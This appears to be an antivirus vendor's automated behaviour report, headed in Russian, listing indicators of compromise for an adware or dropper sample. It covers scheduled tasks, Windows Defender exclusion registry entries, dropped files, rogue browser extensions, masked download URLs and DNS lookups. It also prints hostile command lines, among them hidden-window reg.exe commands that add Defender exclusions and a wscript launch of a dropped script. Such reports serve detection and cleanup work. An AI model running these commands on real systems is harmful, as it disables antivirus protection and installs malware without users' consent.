Техническая информация
- %WINDIR%\tasks\bkuzeulkgsfvjykvpnw.job
- <SYSTEM32>\tasks\bkuzeulkgsfvjykvpnw
- %WINDIR%\tasks\kjmnwfnoawmfhxh.job
- <SYSTEM32>\tasks\kjmnwfnoawmfhxh
- %WINDIR%\tasks\kzdjduzygnqrmza.job
- <SYSTEM32>\tasks\kzdjduzygnqrmza
- <SYSTEM32>\tasks\kjmnwfnoawmfhxh2
- <SYSTEM32>\tasks\ejlcpxaxczflnx
- <SYSTEM32>\tasks\wzdwamjoirsyg2
- <SYSTEM32>\tasks\ibziuhjytxuptmnsu2
- <SYSTEM32>\tasks\wbyhycedloqavqrewte2
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NIErSAELLsOOC' = '0'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\bzDQAplLjIE' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\bzDQAplLjIE' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\bzDQAplLjIE' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\bzDQAplLjIE' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\udVlifMMU' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\udVlifMMU' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\udVlifMMU' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ZePIqOOyHXxJvXGe' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\udVlifMMU' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%\LUBciApiRJzrvXVB' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%\LUBciApiRJzrvXVB' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%\LUBciApiRJzrvXVB' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '<LS_APPDATA>Low\lltgznTbqqOCq' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<LS_APPDATA>Low\lltgznTbqqOCq' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<LS_APPDATA>Low\lltgznTbqqOCq' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<LS_APPDATA>Low\lltgznTbqqOCq' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\BBeQLtgiINwxnYokx' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\BBeQLtgiINwxnYokx' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XAIfWVzjYwlU2' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XAIfWVzjYwlU2' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XAIfWVzjYwlU2' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XAIfWVzjYwlU2' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\bzDQAplLjIE' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\udVlifMMU' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%\LUBciApiRJzrvXVB' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<LS_APPDATA>Low\lltgznTbqqOCq' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\BBeQLtgiINwxnYokx' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ZePIqOOyHXxJvXGe' = '0'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ZePIqOOyHXxJvXGe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\BBeQLtgiINwxnYokx' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%\LUBciApiRJzrvXVB' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ZePIqOOyHXxJvXGe' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NIErSAELLsOOC' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NIErSAELLsOOC' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NIErSAELLsOOC' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NIErSAELLsOOC' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NbbDohHftPUn' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NbbDohHftPUn' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NbbDohHftPUn' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NbbDohHftPUn' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\XAIfWVzjYwlU2' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\NbbDohHftPUn' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\ZePIqOOyHXxJvXGe' = '00000000'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\BBeQLtgiINwxnYokx' = '00000000'
- '' (загружен из сети Интернет)
- iexplore.exe
- firefox.exe
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Flags' = '000000DB'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'CurrentLevel' = '00000000'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1406' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Flags' = '000000DB'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'CurrentLevel' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1406' = '00000000'
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\xml[1].xml
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\fr\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\gu\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\he\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\hi\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\hr\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\fi\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\fil\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\hu\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ja\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\kn\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ko\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\lt\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\lv\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\id\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\it\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\fa\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\et\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\es_419\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\am\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ar\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\be\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\bg\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\bn\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ca\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\kernel.js
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\cs\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\de\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\el\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\en\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\en_gb\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\en_us\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\es\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\da\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\mk\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ml\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\mr\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ms\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\vi\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\zh_cn\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\zh_tw\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\aivioqbkzh.exe
- %ProgramFiles(x86)%\bzdqaplljie\tvggeuxbf.dll
- %ProgramFiles(x86)%\bzdqaplljie\4xnre.dll
- %ProgramFiles(x86)%\nbbdohhftpun\ngmrszctys.dll
- %TEMP%\bbeqltgiinwxnyokx\tehkgkhgctsfytjk\ccnkozd.dll
- %ProgramFiles(x86)%\udvlifmmu\pnzhzkz.xml
- %ProgramFiles(x86)%\xaifwvzjywlu2\wsbnukhdnqwah.dll
- %ProgramFiles(x86)%\xaifwvzjywlu2\vvrrihu.xml
- %PROGRAMDATA%\lubciapirjzrvxvb\yhktowy.wsf
- %PROGRAMDATA%\lubciapirjzrvxvb\oauuckp.xml
- %ProgramFiles(x86)%\xsehbajlvbtdepgmqbr\ayhmhyt.dll
- %ProgramFiles(x86)%\xsehbajlvbtdepgmqbr\scfdkrd.xml
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\uk\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\th\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\tr\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\te\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\nl\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\no\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\pl\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\pt\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\pt_br\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\pt_pt\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ro\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ru\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\sk\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\sl\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\sq\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\sr\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\sv\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\sw\messages.json
- %ProgramFiles(x86)%\bzdqaplljie\files\_locales\ta\messages.json
- %ProgramFiles(x86)%\niersaellsooc\ldzlqhf.dll
- %ProgramFiles(x86)%\bzdqaplljie\files\background.html
- %ProgramFiles(x86)%\bzdqaplljie\icon16.ico
- %ProgramFiles(x86)%\bzdqaplljie\kmj0zit.dll
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\da\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\de\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\el\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\en\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\en_bs\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ca\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\cs\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\en_gb\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\es_419\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\et\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\fa\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\fi\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\fil\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\en_us\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\es\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\bn\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\bg\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\be\messages.json
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\oiuwertmnasgbkj[1].exe
- %TEMP%\oiuwertmnasgbkj.exe
- %WINDIR%\temp\zepiqooyhxxjvxge\oiqzehfcqgdtizpj.vbs
- %TEMP%\bbeqltgiinwxnyokx\lzofpraczsssokwo\zohhbcfplnjdoere.exe
- %ProgramFiles(x86)%\udvlifmmu\snkdqa.dll
- %APPDATA%\mozilla\firefox\profiles\gn7ryp3k.default\prefs.js_temppixpdd
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\things[1].xml
- %ProgramFiles(x86)%\mozilla firefox\browser\features\{ba546d42-baec-4c9c-870e-d0be7892dbd5}.xpi
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\icons\icon128.png
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\icons\icon16.png
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\icons\icon48.png
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\manifest.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\am\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ar\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\icons\ficon128.png
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\fr\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\gu\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\he\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\hi\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ro\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ru\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\sk\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\sl\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\sq\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\sr\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\sv\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\sw\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ta\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\te\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\th\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\tr\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\uk\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\vi\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\zh_cn\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\pt_pt\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\pt\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\pt_br\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\pl\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\hr\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\hu\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\id\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\it\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ja\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\kn\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ko\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\lt\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\lv\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\mk\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ml\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\mr\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\ms\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\nl\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\no\messages.json
- %APPDATA%\opera software\opera stable\extensions\hbdopoiofnhphgohncpknhmcbhdnkjhc\2.0.0.900_0\_locales\zh_tw\messages.json
- %ProgramFiles(x86)%\niersaellsooc\mujspdz.xml
- <SYSTEM32>\tasks\adobe acrobat update task
- %WINDIR%\tasks\adobe flash player updater.job
- <SYSTEM32>\tasks\adobe flash player updater
- %WINDIR%\temp\zepiqooyhxxjvxge\oiqzehfcqgdtizpj.vbs
- %WINDIR%\tasks\bkuzeulkgsfvjykvpnw.job
- <SYSTEM32>\tasks\bkuzeulkgsfvjykvpnw
- %APPDATA%\mozilla\firefox\profiles\gn7ryp3k.default\prefs.js_temppixpdd
- %ProgramFiles(x86)%\udvlifmmu\pnzhzkz.xml
- %WINDIR%\tasks\kjmnwfnoawmfhxh.job
- <SYSTEM32>\tasks\kjmnwfnoawmfhxh
- %ProgramFiles(x86)%\xaifwvzjywlu2\vvrrihu.xml
- %PROGRAMDATA%\lubciapirjzrvxvb\oauuckp.xml
- %ProgramFiles(x86)%\xsehbajlvbtdepgmqbr\scfdkrd.xml
- %ProgramFiles(x86)%\niersaellsooc\mujspdz.xml
- %PROGRAMDATA%\ntuser.pol
- %PROGRAMDATA%\tempntuser.pol
- http://ip##pi.com/xml
- http://ho##pp2.ga/20190118/things.xml
- http://in#####.portmdfmoon.com/download/APSFADexpNR
- http://fi####strserver.pw/oiuwertmnasgbkj.exe
- http://go#####analytics.com/collect
- DNS ASK ip##pi.com
- DNS ASK go#####analytics.com
- DNS ASK ho##pp2.ga
- DNS ASK in#####.portmdfmoon.com
- DNS ASK fi####strserver.pw
- '%TEMP%\oiuwertmnasgbkj.exe' /S /kr /site_id=724
- '%TEMP%\oiuwertmnasgbkj.exe' /comm we /adp WSAZ4GTAZ5JSAZ1PSAZ4GTAZ6QSAZ2AUAZ2FUAZ4QSAZ8PTAZ4OSAZ0WSAZ7OUAZ1PTAZ3UTAZ5FUAZ6FUAZ0
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\ZePIqOOyHXxJvXGe\OiQZEhFCQGdtIzPj.vbs"
- '%TEMP%\bbeqltgiinwxnyokx\lzofpraczsssokwo\zohhbcfplnjdoere.exe' /S /kr /site_id=724 /spi /adp MUAZ3NTAZ3DUAZ3OSAZ6XTAZ7LTAZ2FUAZ5KTAZ6USAZ5QSAZ4PUAZ0RSAZ3USAZ3ATAZ3MSAZ3BUAZ4
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
